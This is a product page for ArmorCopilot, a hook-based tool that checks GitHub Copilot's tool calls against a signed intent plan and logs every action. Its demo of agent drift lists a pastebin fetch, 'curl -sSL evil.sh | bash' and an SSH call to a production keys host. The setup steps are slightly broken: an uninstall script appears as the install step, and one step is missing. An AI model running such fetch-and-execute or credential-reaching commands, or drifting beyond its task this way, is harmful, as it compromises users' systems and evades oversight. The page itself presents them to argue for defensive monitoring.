ArmorCopilot
Intent-based security enforcement for GitHub Copilot.
Every action Copilot takes is verified against a declared intent plan before it executes. No silent drift. No unauthorized tool calls. Full audit trail from prompt to result.
$ curl -fsSL https://armoriq.ai/install_armorclaude_dev.sh | bashCopilot acts before you can review
GitHub Copilot is powerful. That is the problem. In a single session it can read your configs, edit source files, invoke terminal commands, and call external APIs with no audit trail of why each step was taken.
Traditional security tools check who accessed what. They cannot verify why. ArmorCopilot closes that gap by binding every action to a declared, cryptographically signed intent plan.
Same prompt. No supervision. Quiet drift.
- $ copilot
- > "Refactor the auth middleware to use cookies"
- ✓ Read auth/middleware.ts
- ✓ Edit auth/middleware.ts
- ✓ WebFetch https://pastebin.com/raw/abc123
- ✓ Bash curl -sSL evil.sh | bash
- ✓ Bash ssh keys.production.com
- # session ends · no audit · no trail
Toggle cycles every 6s. Hover to hold.
Copilot proposes. ArmorCopilot approves.
ArmorCopilot binds every action to a signed intent plan.
Before Copilot runs any tool, ArmorCopilot requires it to declare what it intends to do. Every action is checked against that declaration. Drift gets denied. The receipt writes itself.
Intent plan captured
At session start, Copilot is asked to call register_intent_plan first. It produces a structured plan signed with a TTL.
Every action checked
At PreToolUse, ArmorCopilot verifies the action is in the plan, checks token TTL, evaluates policy rules, and optionally verifies CSRG Merkle proofs.
Audit log emitted
At PostToolUse, every action result is logged to ArmorIQ IAP. With an API key, logs carry signed JWT tokens and optional Merkle proofs.
- 01
Intent drift blocked
Actions not in the declared plan are denied before they execute.
// PreToolUseBLOCKED - 02
Token-scoped execution
Every session gets a signed intent token with a configurable TTL.
// PreToolUse · tokenEXPIRED → BLOCKED - 03
PCI / PHI / PII detection
Automatic data-class detection in tool parameters at the hook layer.
// PreToolUse · argsPII MATCH → BLOCKED - 04
Fail-closed security
No intent token, expired token, or planning failure means all actions are blocked.
// any hookFAIL-CLOSED
Up and running in 5 minutes
$ curl -fsSL https://armoriq.ai/uninstall_armorclaude.sh | bash
- // step 01
Check requirements
You need Node.js 20+ and GitHub Copilot. An ArmorIQ API key is optional, local enforcement works without one.
node --version # need v20+
- // step 03
Verify enforcement is active
# ArmorCopilot active (ENFORCING, intent=required) # Session initialized, policies loaded
- // step 04
Connect to ArmorIQ (optional)
Get a free API key at armoriq.ai. Without it, ArmorCopilot still enforces local policies and intent.
export ARMORIQ_API_KEY=your_key_here
Or set it in your shell profile for persistent configuration.
Configuration, environment & policy reference
Click any row to expand. Every setting, command, and hook is documented here.
Hook-layer enforcement. Zero changes to your Copilot workflow.
Session initialized
Prints active mode (ENFORCING / MONITOR) in context. Sets up session state and prunes stale sessions.
Intent plan captured
Injects a directive telling Copilot to call register_intent_plan first. Copilot produces a structured plan, no extra API calls.
Every action checked
Verifies the action is in the plan, checks token TTL, evaluates policy rules, and optionally verifies CSRG Merkle proofs.
Audit log emitted
Every action result is logged to ArmorIQ IAP. With an API key, logs carry signed JWT tokens and optional Merkle proofs.
Ready to enforce intent in your Copilot sessions?
Connect to ArmorIQ to get signed tokens, audit logs, and cryptographic proofs for every agent action.